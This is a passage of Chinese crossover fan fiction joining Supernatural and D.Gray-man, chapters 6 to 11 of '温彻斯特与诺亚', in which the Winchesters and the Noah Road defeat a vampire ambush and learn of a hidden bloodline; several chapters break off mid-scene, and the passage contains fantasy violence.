“嘿！朋友，帮自己一个忙，让我们单独待着。”萨姆用高大的身体挡在罗德身前，试图劝退眼前的醉汉。 醉汉并不买账，朝着萨姆的方向更进一步，“你是什么人，她的爸·爸·？”他发出刻意嘲讽的声音，甚至还吐着舌头，做着怪脸，“还是——糖爹？” 充满丑恶暗示的嘴脸让萨姆一阵反胃，他俯视着只能用头撞到他下巴的醉汉，揪着他的领子提腿一绊，轻而易举地将其掼到了地上。 那双总是充满着无辜的狗狗眼，在此时展露着平日所没有的攻击性，甚至——似乎在某个瞬间，他的瞳孔正中也泛出了一缕金色。 在这种压迫感之下，醉汉的本能在叫嚣，让他瞪着眼睛，却连大气都不敢出一口。 “低头看你的路，你明白我在说什么吗？”萨姆的声音从嗓子和牙缝中挤了出来。 醉汉张着嘴不敢说话，只能像小鸡吃米一样疯狂地点头。 “一杯牛奶。”没有引起太多的骚动，萨姆穿过半个酒吧，敲击着吧台桌面，抢在罗德之前帮她开口。 罗德噘着嘴，“你这样就和缇奇一样，很没劲诶。” 她这样不满地说着，但萨姆却能明显感觉到，对方的言语间并没有真正的抵触——或者说，和某人相似的共鸣，反倒成了某种加分项。 他给自己要了杯果汁，连日来的过度酗酒让他身体的不适感逐渐清晰了起来，在迪恩重新回到他面前的时候，他便选择暂时远离酒精来帮助身体代谢。 桌上的果汁对牛奶在这个杂乱的酒吧中显得格格不入，萨姆不甚在意别人的眼光，只是眼神不时扫过和人调情的迪恩，漫不经心地开口，“缇奇？你的朋友？” “是家人。”罗德的手一下一下敲击着，杯壁倒映着她荡漾着一丝思怀的瞳孔，“缇奇却总是很照顾我，就像是你的哥哥和你。” 萨姆抿着嘴，感觉到了罗德身上散发的共鸣。 “嗯哈，那……他呢？和你一样，被封印起来了吗？”萨姆认真地问，见罗德没有什么明确的反应，他尝试地打探，“你……嗯——想要将他的封印也解开吗？” 这就可以解释她为什么如此想要搞清楚他身上的特殊之处，他耐心地等待着对方的回应。 罗德没有抬头，甚至没有通过杯子上的反射去看他的表情，只是淡淡道：“不，他死了。” 她抬手，在酒保有些奇怪的眼神中喝了一大口的牛奶，一股带着些酸臭的腥味让她皱起了眉，毫不客气地将奶液吐了出来。 “好腥！”她一把抓过萨姆的果汁，但一入嘴，寡淡果汁内隐隐泛上来的一股同样的腥味让人异常难忍，她抬眼看着酒保，“难喝死了。” “呵——小妹妹，这里不是你该来的地方。”酒保翻了个白眼，在这种汽车旅馆旁边的酒吧里扎根，他显然不是什么温顺的人。 显然，这个酒吧内没有任何无酒精饮料，说是牛奶果汁，实际上也是调酒的材料。低廉的价格自然不会带来什么诱人的口感。嘈杂的环境里，酒保语气带着些刺耳和尖锐，“想要糖水，就和你的小男友一起去麦当劳吃儿童套餐。” 萨姆在旁边无辜躺枪。 平心而论，他只是和迪恩不一样，身上有一种乖巧的书卷气。但如果他单独进入酒吧，绝对不会有人拦住这个超过一米九的大男孩儿。 可是，当他要了一杯果汁和喝牛奶的罗德坐在一起的时候，带给人的认知一下就有了变化。 萨姆对酒保的态度并不意外，但吐着舌头、被饮品奇怪味道搞得心态变化的罗德就不一样了，她一歪头，锥形的蜡烛铺在房顶，随时准备落下。 这种连恶魔都能限制的东西，落在人身上的效果可想而知。 萨姆猛的一下站起来，张开嘴刚想说点什么，就已经有更大的动静抢先一步。 “砰——”的一声响，桌面被某个人掀翻在地。 紧接着就是一连串玻璃破碎的声音，各种酒瓶和杯子破裂的碎片散落一地，带着泡沫的液体将扑克牌浸湿，刺鼻的酒精和隐隐的腥臭弥漫在逼仄的房间里。 左右两边像是不同派系的人群正推推嚷嚷，纠缠着一组扑克牌的大小和几块钱的胜负。 “哇哦，这就是缇奇常说的，酒吧里的‘趣事’？”罗德屁|股在光滑的座位上一转，双脚藏在裙摆下，盘到了椅面上。 几句话的时间，冲突迅速升级。 萨姆一眼就认出了那个双颊坨红的男人就是妄图对罗德动手动脚的醉汉，他的脚步虚浮，一个没有站稳，就摔倒在地，掌心压在玻璃碴子上，顿时便被划开了一道数厘米长的口子。 顿时，鲜红的血液涌出 7. 第 7 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 7 吸血鬼，讨厌阳光，喜欢黑暗、刺激，经常出没在混乱之地，猎取“食物”。 这样汽车旅馆旁边的夜间酒吧，似乎符合吸血鬼的每一个需求，是个绝好的地方。 但——猎物越丰富的地方，也越危险。 这条铁律不仅是针对吸血鬼，像马里兰州这样的地方，几乎从未有过明显的怪物出没。 在今天亲眼所见之前，迪恩也从未听过有哪个猎人，见过吸血鬼们如此猖狂、毫无顾忌——也从来没有哪个吸血鬼的巢穴中，有如此大量且疯狂的吸血鬼。 萨姆看着自己的掌心，摇头判断，“我和那个男人有过冲突，我放倒过他——那男人脚步虚浮，身体无力，绝对不是吸血鬼的特征。至少……刚才还不是。” “不论刚才是不是，现在都是了。”迪恩的视线四处张望着，想要就地取材，寻找能够斩首的物件，“萨姆，我们不能让这些吸血鬼跑出去——否则简直是把饿狼放到羊群里。” 外面沿着公路直走不久，就是居民密集的居住区。 “你是对的。”萨姆几乎屏息，手里捏着那把弹簧银刀，“我们得把他们留在这里……永远。” 像是进入了某种工作模式，他们两个完全忽视了仍然坐在吧台的那个女孩儿。 “啪、啪、啪——” 三声拍掌让嘈杂的酒吧内全然安静了下来，所有正在发狂的吸血鬼都仿佛接收到了某个指令，骤然停下。 被鲜血染温的空气顿时凉了下来，一个陌生的面孔展现在罗德的眼前。 “你好，温彻斯特。”一个朋克造型的女人穿过这一群贪婪的吸血鬼，从黑暗中现身，站在了他们的面前。 听到自己的姓氏，迪恩皱眉，似乎是想要从某一段记忆当中掏出点东西来，但收效并不好。萨姆的记忆回溯得更快，他看着女人的面孔，在一段重要的记忆里，扒拉出来一点边角料。 “凯特？”萨姆先是有些不确定，但在看到对方听到这个名字后的反应时，他确定了对方的身份。对上迪恩疑惑探究的视线，他提示道，“科罗拉多州，曼宁。” 迪恩恍然大悟，“那个杀害了艾金斯，也差点给你留下咬痕的吸血鬼婊｜子。” 他对那件事仍有印象。 那毕竟是他们第一次应对吸血鬼，也是后来——在斯坦福之后——他们为数不多和父亲共同合作的战斗。 为了得到那把柯尔特枪。 “你们杀了卢瑟！”凯特的视线中爆发出强烈的恨意——她的伴侣，吸血鬼唯一的终生伴侣卢瑟，成为了约翰·温彻斯特拿到柯尔特枪后的第一个亡魂。 迪恩毫不示弱，“是，就像你们杀害了艾金斯，杀害了那么多无辜的人！” “我们只是想要活下去，我们和你们一样值得活下去。杀人……呵，温彻斯特，告诉我，当你们宰杀牲畜的时候，难道会为他们流泪吗？你们不会，因为你们是‘高级动物’，”凯特的牙齿尖锐得冒着寒光，“我们也是一样，我们是更高级的——当然可以食用低级的。” “那你就不应该抱怨于死亡，”萨姆接着恶狠狠的语气发泄着心中积累的诸多激动与愤懑，“按照你的逻辑，我们杀了你们，只能说明我们更强、更高级，不是吗。” 他们两个很可能并非这么多吸血鬼的对手，但此刻，二人却没有一丝退缩的意图——毫不客气地先逞一波口舌之利。 “哦，我就猜到你们会这样想——然后我就想，我要怎么处理你们……杀？那很容易——也太便宜你们了。我要让你们痛苦、尖叫、体会我所体会过的揪心、难过和生不如死！不是身体上的，而是更深层次的、更痛苦的。”凯特并没有因为他们的话而气急败坏，相反，她清楚地明白——此时，她才是那个掌握大局的BOSS，“‘吸血鬼是怪物’、‘吸食人血是恶事’——你们只不过是事不关己高高挂起罢了，真要是落到你们头上，你们一定比任何怪物都更丑恶。” 她说着，将口袋里那一大把已经空了的注射管扔在了地上，残留的红色液体挂在管壁上，已然昭示了一切混乱的原因。 ——摄入吸血鬼的血液，会将人转化成吸血鬼。 有时候，这个转化过程会让“新生儿”变得毫无理智。 迪恩脸色大变，瞪着那吧台边缘丢弃的、带着注射小孔的瓶塞和瓶盖，抓起了自己的脖子，舌根抵着上颚，用力地干呕——“YOU SICK SON OF A BITCH！” “欢迎来到吸血鬼的世界。” 凯特昂起头，仿佛在用下巴看着迪恩，视线扫过那明显也空了一半的果汁杯，脸色更是得意。 吸血鬼的转化速度有时会因为摄入的血量而波动变化，凯特根本不担心眼前两个还没有表现出吸血鬼特征的人类。 萨姆瞳孔骤缩，用力地拍着哥哥的背，想要帮他吐出来，“迪恩！你喝酒了吗！” 凯特用舌头舔着牙齿，“你们都已经是我血液的俘虏了……” “呕——” 一声更夸张的语气音穿过人的耳膜，罗德一手一个杯子，将牛奶和果汁倒在了地面上，澄清的汁水和奶白的液体交融在一起，“难怪又腥又臭！” 听到这个声音，凯特才首次将视线分给了坐在椅子上，腾空着腿的女孩。 “哼——”凯特嗤笑了一声，根本不在意这个温彻斯特兄弟的“附赠品”，“小妹妹，要怪就怪你自己非要和温彻斯特们一道儿。” 她为了追踪他们一家，花费了巨大的心力——只在堪堪半个月前，才第一次获得了那辆正确的Impala有规律的踪迹。 ——那是萨姆的失控之下，完全放弃了隐匿行踪。 “温彻斯特——萨姆、迪恩，你们可真有名，不仅在地狱里有名，在人间也有名——这个世界上有不认识你们的人吗？”罗德捂着嘴“咯咯”地笑了两声。 这时候还能调侃出声，她显然并不畏惧吸血鬼。 但，萨姆正用力的拍着迪恩的背，想要将那些迪恩喝下去的东西拍出来，根本没有精力回应这种嘲弄。 罗德也不在意，她眼睛一抬，扫向了凯特，“不过，觊觎我东西的人……一向，都是没有好下场的。” 她一挥手，所有的门窗顿时都重重地关闭，让所有的这自然光都阻挡在外，也将一切罪恶都封闭在内。 凯特游刃有余的脸骤然一绷——女孩儿远没有她想象当中那样简单。 罗德从椅子上跳下去，皮鞋小高跟和木质的地板相接，“咔咔”的声音在墙壁间回荡，像是敲在了凯特的心头。 “你是谁……不，你是什么？”面对这么个低矮的女孩儿，她却连退了两步。 凯特自己作为“怪物”，非常清楚这样看似年幼无害的东西，内里会有多大的能量。 吸血鬼的血液和人类的血液不同，并不具有明显的腥咸味，女孩儿的舌头却能轻易地尝出来，这已经不是一个正常人应该有的味觉。 而对方得知真相后的反应，也冷静地让她畏惧。 8. 第 8 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 8 人眼无法辨别的黑暗之中，嘶吼和尖叫此起彼伏，惊恐、疼痛混入了酒精和血液腥味里。幽幽的烛火沿着墙面亮起，描绘出一个个人体形状，融滴的蜡油在地面上绘制出一个漂亮的十字菱形，灼热的温度炙烤着皮肤和血肉，发出了“滋滋”的声响。 “吱呀——” 紧闭的木制门窗在风的推动下缓缓打开，月光沿着门窗边缘爬了进来，和恍恍惚惚恢复了暖色的灯光一起，将酒吧照亮—— 鲜血沿着墙流落，环绕着蜡油铺满地面，汇聚成了数条鲜红的溪流，将凯特围在正中。 罗德踩在干净的蜡油上，笑眯眯地看着唯一有行动能力的凯特，浮动的锥形彩蜡将她团团围住，仿佛随时都能让她也落得和墙壁上那些吸血鬼“幼崽”一样的下场。 “哇哦！”迪恩的眼睛在光亮中环视一圈，发出了惊叹，他看着墙上那些成排的尖牙叫嚣着的吸血鬼，不到掌心大的几根蜡烛就能将他们彻底钉死，甚至他们连挣扎的移动都难以做到，“这真是令人惊讶。” 不仅是惊讶。 不知道是不是迪恩先入为主的缘故，他总觉得罗德的手段和恶魔常用的手段有着某种异曲同工之妙。 “你究竟是什么东西！”凯特一点也不敢挪动身体，只能用尽可能大的声音虚张声势。 罗德不知什么时候翻过了吧台，从琳琅满目的饮品当中挑选着干净的味道。她失望地放下带着腥味的酒瓶，从吧台内挑了颗彩色的糖果，让自己的声音跟着带上了几分甜蜜，“所以我不是说了吗，我是人·类——货真价实的那种。” “女巫。”凯特的大脑中只能想到这一个答案。 普通人类族群里，拥有特殊能力并不是什么好事。哪怕是灵媒，在很长一段时间内也被当作女巫，一个个走向了火焰高台。 “用迪恩的话来说，女巫是‘恶魔的婊｜子’——”罗德突然觉得，迪恩的语言环境很有一种发泄感，“我既不是‘恶魔’，也不是‘婊｜子’——但我确实可以让你看看，‘恶魔的婊｜子’过着怎样的生活。” 她像个小恶魔，露出了邪恶的微笑。 抬手打了个响指，凯特脚下的木质地板开裂，彩色的纹路如同藤蔓一样蔓延开来——“砰”的一声，「门」向地下打开，没有了支撑的凯特甚至来不及发出尖叫，就已经掉入了深坑之中，再无声息。 一股硫磺的味道逆着门缝冲了出来，幽幽地飘散在空气中，阴寒的灼烧感顺着迪恩的皮肤爬进了他的身体。 “……你把她送到了哪里？”迪恩明知故问。 “我不是说了吗，让她体会体会‘恶魔的婊｜子’的生活，”罗德无所谓地耸耸肩，“那当然就是地狱了。” 失去了“母亲”，酒吧内被限制行动的吸血鬼们顿时就暴躁了起来——这种通过血液连接起来的种族有着刻在身体本能当中的族群观念，让他们在理智之外更依赖于凯特。 只是这嘶吼的声音着实听得人心烦。 罗德嘴一瘪，抬手对着空气一划——封住吸血鬼动作的热蜡顿时穿喉而过，削掉了所有吸血鬼的头颅。 头骨摔落在地的声音此起彼伏，像是某种瘆人的人皮鼓一样，带着扭曲的旋律。 即使知道这些人已经变成了吸血鬼，可血腥残忍的直观画面还是让人忍不住一阵反胃恶心。 只有罗德像是见惯了这样近乎屠杀的场景，不紧不慢地打量着一些还在抽动的四肢，一根指头点在下巴上，“我对吸血鬼可不太熟悉，这种事平时都是斯金和谢里尔*顺手处理的——斩首，是正确的处理方式吧？” “……是。”萨姆舔着干涩的嘴唇，无意识地错身站到了迪恩身前，想要把那股浓烈的硫磺味挡在自己之外。他没有纠结于一屋的吸血鬼，而是目不斜视地紧盯着女孩，急切道，“迪恩的身体究竟是怎么回事？” 迪恩没有变成吸血鬼当然是好事。 但，凯特的震惊打在了萨姆的心头——迪恩的状况，也绝对不是正常的状况。 罗德显然在控制着他的身体。 这成了一个潜在的定时炸弹，磨得萨姆不能安心。 罗德没有说话，只是弯着眼睛，笑眯眯地看着他。 萨姆心中的不祥之感逐渐攀升，迪恩更是摸着自己手腕脖颈，甚至拉开衣领确认着身上的每一条伤痕，想要在自己的血肉上，看出什么端倪来，“你对我的身体做了什么！？” “嗯——”罗德拖长音调，神秘兮兮道，“准确地来说，你不能说‘我的身体’。你的身体已经死了，不是你的兄弟亲手埋葬的吗？” 萨姆张着嘴，数秒没有发出声音，他坚定地摇摇头，“我保留了迪恩的身体，我保留了他！也检查了他。” 他没有用猎人的方式烧掉迪恩的身体，从最一开始，他就没有想过要让迪恩永远沉眠于地下——萨姆知道，当迪恩回来的时候，需要一个身体承载灵魂。 迪恩甫一复活，他就率先确认了迪恩的身体，甚至连地狱猎犬撕咬的死亡痕迹都一一对应。 “话是这么说，但——我并不擅长治愈人类呢，你的身体死了。复原死掉的身体太麻烦了啦——”罗德一蹦一跳地靠近了迪恩，眼神满意地打量着自己的作品，“比起那样，还不如给你做个新的！不用担心，我很擅长制作玩偶的，就连千年公*过去制造恶魔，都常用我制作的身体骨架。不用担心功能问题……”她暧昧地眯了眯眼，“什么功能都有、什么功能都正常。还能随时缝补，我的售后很完备的，零部件随时更换，完全不用担心今天这样的问题了呀！” 她兴奋地介绍着，怎么看，这样的身体都比脆弱的普通人类要好太多。 但怒目而视的温彻斯特兄弟显然不这么认为。 罗德哼哼道：“能够定制的身体不是很好吗——”她抬手打了个响指，迪恩的身体顿时像初生一样光洁，疤痕和 9. 第 9 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 9 “嘟嘟——你好，这里是萨姆·温彻斯特，我现在无法接电话，如果有事，请留言。” 声音透过机械显得有些冰冷无情，但打电话的人却只能根据指示，在“哔”的一声后开口—— “萨姆，这里是鲍比。你最好赶紧给我接起那该死的电话！我接到情报，有吸血鬼正在打听温彻斯特，很可能是冲着你去的，被吸血鬼追踪猎杀的危险不用我多说了吧——收到了就马上给我回电话，Idjit。” 鲍比·辛格看着黑下去的屏幕，已经不记得这是第几次留言。猎人们的消息灵通，他从不同的渠道获得了萨姆的行动踪迹，更是看到了一些危险征兆，却唯独无法获取萨姆本人的联络。 不知从什么时候开始，年轻温彻斯特的号码上，只剩下语音留言。 迪恩说萨姆更像他们的父亲约翰这句话，还真没错，弟弟比哥哥固执得多。 “Idjit。”鲍比暗骂了一句，把手机和自己都丢到了沙发上。 萨姆换掉了Impala被通缉的牌照，他的调查也总慢一步。即使萨姆的情绪显然随着时间的推移，日益焦躁，行踪破绽也越来越多，但想要找到一个下定决心失联的人，却仍没有那样容易。 鲍比的屁股还没有坐热，门外便隐约响起了窸窸窣窣的声音——这个时间点，他可没有预定的访客。 猎人的本能让他马上警惕了起来，眼睛快速扫过门窗上的盐线，顺手从沙发的缝隙里摸出一把银刀和一罐圣水藏在了衣后。 敲门声在预期中响起，紧随其后的，是一个熟悉得才在电话中听到的声音，“鲍比，鲍比你在家吗？这里是萨姆。” 鲍比的心头一跳，迪恩之死毫无疑问击溃了萨姆的全部精神。 男孩儿有多受伤、多绝望他知道，如果不是到了万不得已的最后一步，对方绝对不会到他这里来。 来自猎人经验的无数猜测充斥在他的大脑中，手中才获得的吸血鬼的情报更让他不由自主地紧张。 鲍比透过猫眼看到了那张熟悉的脸，这才打开了门。 萨姆还是那个萨姆，除了身体有些消瘦、脸色有些苍白、眼眶的血丝密布意外，对方似乎和过去没有多少区别。 看到还完整健康的小温彻斯特，鲍比有些感慨万分，正要上前给他一个拥抱之时，萨姆却率先后退了一步，露出了他身后的另外一个男人。 “嘿，鲍比，没想到会是我吧——Dead man’s walking！”迪恩的手插在皮衣外套的兜里，死而复生的他有些拘谨地开了个玩笑。 鲍比的瞳孔骤缩，手里的圣水一下子就浇了上去，连带着萨姆一起，兄弟俩都遭了殃。正张着嘴笑的迪恩甚至灌了一口，在无言中吐出一道小水柱。 “是我，鲍比。”迪恩用力地抹了把脸，将圣水甩在了地上，“如假包换。” 萨姆用手背擦着脸侧所受的池鱼之灾，帮他哥辩解了一句，“是他，鲍比，我确认过了。” 这句话在鲍比耳中无异于“我做到了，我和恶魔交易了”，老猎人脸上露出愤懑和难过——温彻斯特一家三人都在他面前走了同样的路。 他胸口发闷，用不够严厉的语气呵斥，“——都是蠢货。” 萨姆迅速意识到了鲍比的误会，正要解释之际，女孩儿就已经挤到了他们前面，指着迪恩狼狈的脸大声嘲笑。 “哈哈哈哈哈——风水轮流转，真是太滑稽了！被喷圣水的感觉怎么样？” 鲍比终于注意到了这个穿着学生短裙的女孩，纤细柔弱的外表让她看上去很不像是该踏入这个废车打捞场的人。 他用眼神质问着萨姆。 ——你是从哪里绑架了个小女孩！ “额……这是个很长的故事。”萨姆舔着嘴，被这种谴责的视线盯得耳根发烧。 迪恩的微词颇多，脸上冰冷而真实的触感让他有些反胃，张口便直冲要点，“这可不是‘小女孩儿’，和萨姆交易的人，就是她。” “她是恶魔！？”鲍比惊呼，手中的圣水已经抛了个空，能拿的便只有腰后的银刀，他大脑中快速思考着应急方案——现在手里没有柯尔特枪，驱魔咒书也在房间内，岩盐倒是就在窗台上，但想要应对恶魔却不是一点盐能做到的。 罗德却不给他思考时间，一脚踩在盐线上，步子都没有被岩盐拖慢，径直跨过了地毯，坐在了沙发扶手上，“放轻松，我要是想动手，你这里的这点东西是派不上用场的。” 别说是岩盐，就是地毯下的绘制的恶魔陷阱都没有派上用场。 鲍比瞪着眼睛寻求一个解释。 “罗德不是恶魔，她是个‘诺亚’。”萨姆跳过那一大串求证的过程，直接给出了结论。 “诺亚？诺亚方舟的那个诺亚？”鲍比有一瞬间的卡顿，像是大脑仔细反应了一下这个熟悉又陌生的名词。 “Yap，”迪恩踩上台阶，“进去说？” 当个猎人真是每天都能学到新知识，哪怕知识丰富如鲍比，也是第一次在现实生活中听说这个传说中的种族。 用“种族”来形容诺亚有些夸张，毕竟按照传说，诺亚是“原人”，后来的人类，都该是他们的后代。 自然，后来的人类也便和诺亚是同一种族。 但传说并非全部可靠。 诺亚的真实状况，显然和现在的人类有着质的区别。 就像是人类和恶魔之间藕断丝连的关系一样，诺亚与人的关系或许也是如此。 罗德如愿以偿地获得了在酒吧里没有获得的东西，她往啤酒瓶里丢了几颗果糖，气泡和甜蜜的味道混合在一起，让她感到一阵新鲜。 萨姆也趁着这个时间，从召唤恶魔开始，帮鲍比将缺失的故事补全。 “所以——不是恶魔。”鲍比灌了一口酒精，看着这个能够轻易打开地狱之门的女孩，心里暗骂这个世界真是越来越怪了。 “真的不是。我……我试过了，在过去的两个月里，我尝试了一切可能。我尝试召唤恶魔、尝试打开地狱的大门，但没有恶魔愿意和我交易。”萨姆的眼中流露出痛苦，像是被推回了那个束手无策的绝望过去，“他们总是说，莉莉丝的目的已经达到了，他们就是想要你的灵魂。迪恩，他们最一开始，就想要你。” 甚至，连萨姆的死亡、迪恩的交易都 10. 第 10 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 10 罗德的话，让人摸不着头脑，却又浮想联翩。 萨姆的心揪着，从恶魔拒绝和他交易那天起就埋下的种子被迅速催发，盘踞在他的心脏上勒得发痛。 自阿扎泽尔起，到后来的十字路口恶魔，看似是随心所欲的邪恶，实际上，每一个无来由的邪恶背后，都有隐秘的针对性原因。 恶魔之血、恶魔领袖还有地狱之门。 萨姆想起露比和他提到的那些地狱势力、恶魔之间的权力倾轧…… 那些由人类转化而来的生物——他们的意识在痛苦和折磨中脱颖而出，绝对不会是什么简单的直钩子。 在温彻斯特们尚不可知的地方，迪恩究竟有什么不可替代的作用？ 萨姆一时没有头绪，但有一点是毫无疑问的——恶魔不会就此善罢甘休。 即使在地狱之外，恶魔们依然有千般手段。 和萨姆的紧张相比，迪恩想得反而更简单。他只是后仰着头，极尽所能地远离着罗德的触碰。 “艹——离我远点！” 他硬生生从嗓子底将声音咬了出来。 不知怎么的，罗德似是看他顺眼了许多，并没有对他的恶劣态度多置喙，只是假意受伤般地捧了捧胸口，“真是伤人心。” 但这样说着，她却也将腿一收，身体歪坐在了迪恩旁边、倚靠着他的肩膀，放松了对玩偶身体的控制。 获得自主权的瞬间，迪恩就像是受到惊吓的猫咪，弹射起步，将自己和罗德的距离拉开。 和迪恩的远离不同，萨姆一屁股坐在了罗德的对面，手撑在膝盖上，注意着饶有兴致的罗德，急切道：“刚才的话是什么意思，为什么一定是迪恩？” 罗德笑而不语，将腿交叠在一起，小皮鞋踩在迪恩留在沙发上的坑陷，脚尖有节奏地摇摆着，垂落的睫毛扑扇着留下一道在脸颊上拉长的阴影。 她审视着兄弟俩，也观察着鲍比·辛格的反应。 那种茫然和急促的情绪不似作伪，他们是当真什么都不知道。 这就有意思了。 温彻斯特兄都弟俩的一生几乎在超自然的打猎中度过，也都有过死亡的经历，这意味着他们二人或多或少都和天堂或地狱打过交道。 但现在都到了事发的临门一脚，迪恩和萨姆却半点不曾了解自己身体、血脉和灵魂的特殊之处，究竟是意外还是有人刻意隐瞒…… “竟然真从来都没有人和你们提起过吗——父亲、母亲，甚至哪怕是恶魔。”罗德“啧啧”了两声，恶魔便罢了，天堂也不打算传达二人背负的使命吗，“小可怜，你们甚至不知道这一切苦难的来源——一切在你们出生之前就已经注定了。” 这种调笑大于怜悯的语气让人听着膈应，像是用细绳在心脏的边缘一点点摩擦。 “注定了什么？”萨姆的手撑在矮桌上，身体前倾的模样带着他自己都没有注意到的攻击性。 “注定要成为一把钥匙啊。” 罗德“啪”地打了个响指，头顶的吊灯瞬间熄灭，空中飘浮的蜡烛成了最清晰的光源。焰火在空中拼接了一个正方形的笼子。 “‘笼子’——一个特殊的笼子。笼子里关着一个可怕的怪物，一个你想象不到的魔鬼。而你们兄弟，准确地来说是你——迪恩·温彻斯特，你是第一把能够打开铁笼封印的钥匙。” 蜡烛漂浮着变换位置，让光线从笼子变成了一扇门。 萨姆和迪恩在微光下对视，似乎被这段话打开了一种思路。 就像是萨姆能够意外地解开罗德的封印一样，他们拥有着某些自己都不甚清楚的特质。 他们早该想到，黄眼恶魔阿扎泽尔在“士兵长”的选择上不会随机，一定有某种条件限制着他的选择方向。 若不是恶魔私人的需求，便是那些特殊的孩童本身。 ——而比起其他“饮血”的储备恶魔，阿扎泽尔一直在强调，他更看好萨姆。 其他人，更像是萨姆的试金石，又像是萨姆的掩护林。 只可惜阿扎泽尔已死，没有人能再回答那些过去式的细节。 “又是‘特殊’。”萨姆用的并不是通用的词汇，而是在暗指他和罗德的契约，“究竟什么样的东西，能够被算到特殊的范畴之中。” 罗德撑着下巴，手指一下一下一下地摩挲着嘴唇边缘，很是斟酌思考了一番，回答却没有定论，“谁知道呢？” 并非是故弄玄虚，而是她确无答案，“弄清楚特殊所在，不正是我们之间的契约吗？这是你的工作才对。现在，能确定的就只有一件事——阿拉斯泰尔并不是真的想要把迪恩做成恶魔，他只是希望你‘堕落’。” 罗德注视着迪恩破碎的灵魂，“在这方面，他就是人们常说的——‘专家’。” “我不会堕落。”迪恩咬着牙，像是刺猬一样，连头发丝都竖立着写满了拒绝。 “你会的，只是时间的问题而已。”罗德毫不留情地戳穿了他那纸老虎般的防御，用言语蚕食着他的心墙，“你能坚持二十年，不代表你能坚持两百年。事实上，我还没有听过萨拉斯泰尔手下有谁能够撑过一百年的。地狱的流速可不差这么点时间。” 迪恩的眼神在一瞬间变得空洞，脸色却红润光泽得违和——他的身体是玩偶，他的脸色自然也是罗德的意愿。 “二十年，什么二十年？”萨姆瞬间捕捉到了罗德话语中的重点，“不是两个月？” 他先是看向迪恩，但后者在烛火映照的视线躲闪，本能地避开了这犀利的眼神。紧接着，他便看向了罗德，既害怕又渴望得到一个 11.第 11 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 11 “撒旦？” “嗯哼。” “就像是撒旦的那种撒旦？” “嗯哼。” “就像圣经当中的路西法？” “嗯哼。” “堕落的天使？” “嗯哼。” “那不可能是真的！”迪恩皱着脸，满眼的不可置信。 罗德透过玩偶内的灵魂，敏锐地捕捉到了迪恩拒绝相信的关键，“呵——你已经见过了恶魔、去过了地狱、也知道我们诺亚的存在，但是却不愿意相信天使的存在？愿意相信邪恶，却不愿意相信光明。迪恩·温彻斯特，你可真是个怪人。” “你想要告诉我，那些毛茸茸的翅膀都是存在的？不可能。”迪恩在复亮的灯光下露出嘲讽的表情，“那些什么光明使者、正义化身、世间福音都是存在的？如果他们存在，那至今为止，他们都在做什么。当怪物肆虐的时候，当地狱之门打开之后，还有这个什么封印——他们为什么不阻止，为什么什么都不做！” 迪恩不知是愤怒还是在埋怨，但他仿佛并不是不相信，只是不愿意相信。 萨姆的神色反而是有一瞬间的惊喜。 他对天堂和上帝有过诸多期待。 不过，和他们曾经的神父朋友不同，他的虔诚更像是一种念想，一种愿望。 可在他们最需要的时候，回应的却从来不是天使，而是恶魔。 “再仔细读读圣经，”罗德的后颈靠在扶手上，眼睛无神地盯着天花板，“天使杀过多少恶魔，又杀死了多少人类？他们从来都不是人类的拯救者，他们是上帝的士兵。只是你们的社会和文化将他们美化了……你认知当中的天使，是你们人类的集体想象，不是真正的天使。” 这样的说法过于直白，正在打破着他们的认知。 光明和正义原本就是两个截然不同的概念，前者是物理概念，那是客观存在的，后者则是道德概念，是主观创造的。 只是人们喜欢将二者联合起来罢了。 罗德回忆着过去见到过的天使，那空洞眼神后的蔑视让她印象深刻，“在大多数的他们眼中，你们仍然是伊甸园里供上帝观赏的猴子——啊，而且还是不听话的那种。” 听话的猴子可不会违背上帝的旨意。 迪恩毫不留情地回嘴，“那你不是号称‘最初的人类’吗，难道你就是那只听话的猴子？” “哼哼哼——”罗德一下子跳了起来，一根指头竖在迪恩面前，“是你们人类后来者挪用了‘人类’最初的含义，我可不是你们上帝在伊甸园的愚蠢造物。” 她昂着头，像是非常自豪于自己的身份，嘴巴却闭得很严，没有要继续揭露的意思，只是将话题又转回了迪恩，“但你是特别的，你和你的弟弟，都是特别的——正义之人，‘义人’——这可不仅仅是个偏正短语，这是一个完整的名词，一个特殊的名字。” “……诺亚？” 鲍比不可置信。 只要对圣经稍有了解的人，就知道，诺亚就是被上帝称为“义人”的一家。 迪恩和萨姆面面相觑，对罗德口中的隐意惊得大脑一阵空白。 “你不是在暗示，我们就是诺亚吧？”萨姆侧耳，像是要重新仔细地再听一遍罗德的话。 罗德一吐舌头，“‘暗示’？抱歉，是我表达得太隐晦了吗。” “……什么？”迪恩只觉得自己在短时间内，接连不断地受到了冲击。 他们是诺亚？ 这怎么可能！ 萨姆让大脑冷静下来，快速思考着内在逻辑。 他们普通人类的身份应该没有问题，那罗德的意思就应该是—— “亲缘？”他试探，“是某种血缘关系。” “你真的是更聪明的那个。”罗德挑眉。 “跟随着身体而非是灵魂——你刚才说的，就是指血脉。”鲍比一点就通，很快就跟上了萨姆的思维。 迪恩仔细地回忆那些零碎的过去，“爸爸从来没有说过这些。” “也许是因为他也不知道呢？”萨姆的思维变得很快，“就像是超自然生物一样，爸爸也是后来才知道了这些。” 鲍比点头，“有可能。” 这也符合约翰·温彻斯特的性格。 在玛丽去世以后，他的人生就只剩下复仇一件事。他不断地向着未知前进，再没有回望过过去。他的两个儿子，自然也就对什么“家族渊源”没什么了解。 温彻斯特一家如今已经只剩了两个独苗。 他们对母亲的记忆几乎褪色成了一个轮廓，自然更谈不上什么家族。 兄弟二人甚至连母亲的旧姓都不甚清楚。 随着温彻斯特夫妇的相继死亡，一切的亲缘关系都化为了尘埃。 而“尘埃”反而成为了此时唯一的线索。 约翰和玛丽都已经亡故，这些家学过往，似乎只有一个地方可以给出答案—— “我不敢相信我又回到了这里。” 迪恩抬头，透过窗户，看着劳伦斯的一如既往晴朗天空，有种恍若隔世的惆怅。 一切都是从这里开始的。 也是迪恩曾经起誓不会回头的地方。 故乡。 他深叹了一口气，转头拿起一本比他头还要厚重的大部头书，翻开了里面密密麻麻、让人眼花的文字。 “真的，这个没有联网的内容吗？”迪恩一脸发愁，“到底是什么样的图书馆会不联网！？” 